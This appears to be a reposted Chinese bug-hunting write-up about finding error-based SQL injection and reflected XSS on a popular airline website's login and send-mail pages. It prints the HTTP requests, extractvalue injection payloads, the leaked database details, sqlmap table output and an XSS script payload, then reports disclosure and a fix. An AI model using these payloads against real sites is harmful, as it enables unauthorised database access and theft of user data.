挖洞经验 | 热门航空网站上的SQLi和XSS漏洞

Posted 疯猫网络

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了挖洞经验 | 热门航空网站上的SQLi和XSS漏洞相关的知识,希望对你有一定的参考价值。


挖洞经验 | 热门航空网站上的SQLi和XSS漏洞


上个月为了练手,我选择了一个较受欢迎的网站作为我的渗透测试对象。在漏洞挖掘过程中,我发现了该网站存在SQL注入和XSS漏洞。在正式开始文章内容前,让我们先来简单了解下该类漏洞的定义及产生原理。

什么是SQL注入漏洞?

此漏洞允许未经身份验证的用户,从受害者的网站数据库中窃取数据,包括敏感用户信息等。

漏洞产生原因?

之所以存在该漏洞是因为,goodwebsite在其登录界面对于用户输入的内容未进行正确的消毒处理导致的;这与在原始SQL查询中添加用户输入基本相同。此时黑客只需输入相应的渗透向量,就可能窃取走数据库中的哈希密码和其他敏感用户信息。


因此,在测试“登录”页面时我随机输入了个用户名和密码,并使用Burp Suite拦截其请求,接着我用Test%27来作为用户名,然后将请求转发给Burp Repeater,并收到一条错误的回复,Response中的错误仿佛像是在发起Request请求。


Request:POST /register-login/check.php HTTP/1.1Content-Length: 76Content-Type: application/x-www-form-urlencodedCookie: bmslogin=no; bmsid=f3011db015dca9a4f2377cd4e864f724Host: goodwebsite.comConnection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (Khtml, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */* strLogin=Test%27&strPassword=k Response Error: <pre>PDOException Object ( [message:protected] => SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your mysql server version for the right syntax to use near Test’ ‘ and `valid_id` = 1’ at line 1 [string:Exception:private] => [code:protected] => 42000 [file:protected] => /var/www/goodwebsite.server.com/register-login/send.php [line:protected] => 10 [trace:Exception:private] => Array ( [0] => Array ( [file] => /var/www/goodwebsite.server.com/register-login/send.php [line] => 10 [function] => query [class] => PDO [type] => -> [args] => Array ( [0] => SELECT * FROM `wp_ggg_user` WHERE `login` = Test’e ‘ and `valid_id` = 1; ) [previous:Exception:private] => [errorInfo] => Array ( [0] => 42000 [1] => 1064 [2] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near Test’ ‘ and `valid_id` = 1’ at line 1 ) </pre>


根据初步的判断,我尝试了一些其他的SQL查询,我使用的第一个查询语句是 Test%27and extractvalue(1,concat(0x00a,database()))or’这次出现的错误与上述类似,只是出现了一点小的变化,错误的结尾部分如下:


[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
goodwebsite’
 )


从以上错误信息中,我们获取到了网站的数据库名称为goodwebsite。


挖洞经验 | 热门航空网站上的SQLi和XSS漏洞


除此之外,我还测试了以下的基本信息查询语句:



system_user()@@versiondatabase()@@hostname@@datadir@@GLOBAL.VERSIONsession_user()
schema()
UUID()


所以,接着我使用的查询语句是Test%27and extractvalue(1,concat(0x00a,system_user()))or’错误返回信息如下:


[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
goodwebsite@localhost’
 )


挖洞经验 | 热门航空网站上的SQLi和XSS漏洞


通过以上查询测试,足以证明SQL注入漏洞的存在。为了获取更多的信息,我继续使用了第三个查询语句Test%27and 


extractvalue(1,concat(0x00a,@@hostname))or’错误返回信息如下: 


[previous:Exception:private] =>
    [errorInfo] => Array
        (
            [0] => HY000
            [1] => 1105
            [2] => XPATH syntax error: ' www2.rz.something.com'
        )


挖洞经验 | 热门航空网站上的SQLi和XSS漏洞


这里,我差点忘了查询目标数据库的版本信息,使用查询语句Test%27and extravtcalue(1,concat(0x00a,@@version))or’错误返回信息如下:


[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘5.1.731+deb6u1-log’
 )


挖洞经验 | 热门航空网站上的SQLi和XSS漏洞


最后,我尝试查询了Test%27and extractvalue(1,concat(0x00a,UUID())or’错误返回信息如下:


[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
ab88…..UUDI’
 )


挖洞经验 | 热门航空网站上的SQLi和XSS漏洞


到目前为止,我已经获取到了许多有价值的信息。但这还远远不够,为了节省时间我决定使用SQLi扫描神器sqlmap;来帮助我完成后续的查询任务。以下是sqlmap为我返回的结果:


web server operating system: Linux Debian 6.0 (squeeze)
web application technology: Apache 2.2.16, PHP 5.4.42
back-end DBMS: MySQL >= 5.0Database: goodwebsite
[18 tables]
+ — — — — — — — — — — — — -+
| wp_bms_log |
| wp_bms_quiz_lh_answer |
| wp_bms_quiz_lh_question |
| wp_bms_quiz_lh_quiz |
| wp_bms_statistics |
| wp_bms_user |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+ — — — — — — — — — — — — -+Then:Table: wp_users
[10 columns]
+ — — — — — — — — — — -+ — — — — — — — — — — -+
| Column | Type |
+ — — — — — — — — — — -+ — — — — — — — — — — -+
| display_name | varchar(250) |
| ID | bigint(20) unsigned |
| user_activation_key | varchar(255) |
| user_email | varchar(100) |
| user_login | varchar(60) |
| user_nicename | varchar(50) |
| user_pass | varchar(255) |
| user_registered | datetime |
| user_status | int(11) |
| user_url | varchar(100) |
+ — — — — — — — — — — -+ — — — — — — — — — — -+


挖洞经验 | 热门航空网站上的SQLi和XSS漏洞


但基于渗透测试的基本原则,我并没有继续深入下去。

XSS:

在完成对SQLi漏洞的测试后,接着我将测试目标转向了另一个页面goodwebsite.com/register-login/send.php。同样是一个POST请求,不同的是它带有一个strSendMail=的可输入变量。因此,我测试了以上相同的SQL语句,并获取到了同样的错误返回结果。接着,我测试了一个XSS的有效载荷e’%22()%26%25<acx><ScRiPt%20>prompt(/khizer/)</ScRiPt>,请求如下:



POST /register-login/send.php HTTP/1.1Content-Length: 60Content-Type: application/x-www-form-urlencodedReferer: http://goodwebsite.com/Cookie: bmslogin=no; bmsid=f3011db015dca9a4f2377cd4e864f724Host: goodwebsite.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*strSendMail=e’%22()%26%25<acx><ScRiPt%20>prompt(/khizer/)</ScRiPt>

弹框了!!!


挖洞经验 | 热门航空网站上的SQLi和XSS漏洞


之后,我第一时间报告了这两个漏洞的细节,他们在一小时内就进行了修复,并向我发送了感谢信。




以上是关于挖洞经验 | 热门航空网站上的SQLi和XSS漏洞的主要内容,如果未能解决你的问题,请参考以下文章

挖洞经验 | Facebook CDN服务器的XSS漏洞

挖洞经验 | 记一次有关参数指定型XSS的故事

挖洞经验|UEditor编辑器存储型XSS漏洞

白帽子挖漏洞日记之指定型XSS

挖洞经验 从XSS漏洞到四步CSRF利用实现账户劫持

开源 Web 应用最常见漏洞是 XSS 和 SQLI 漏洞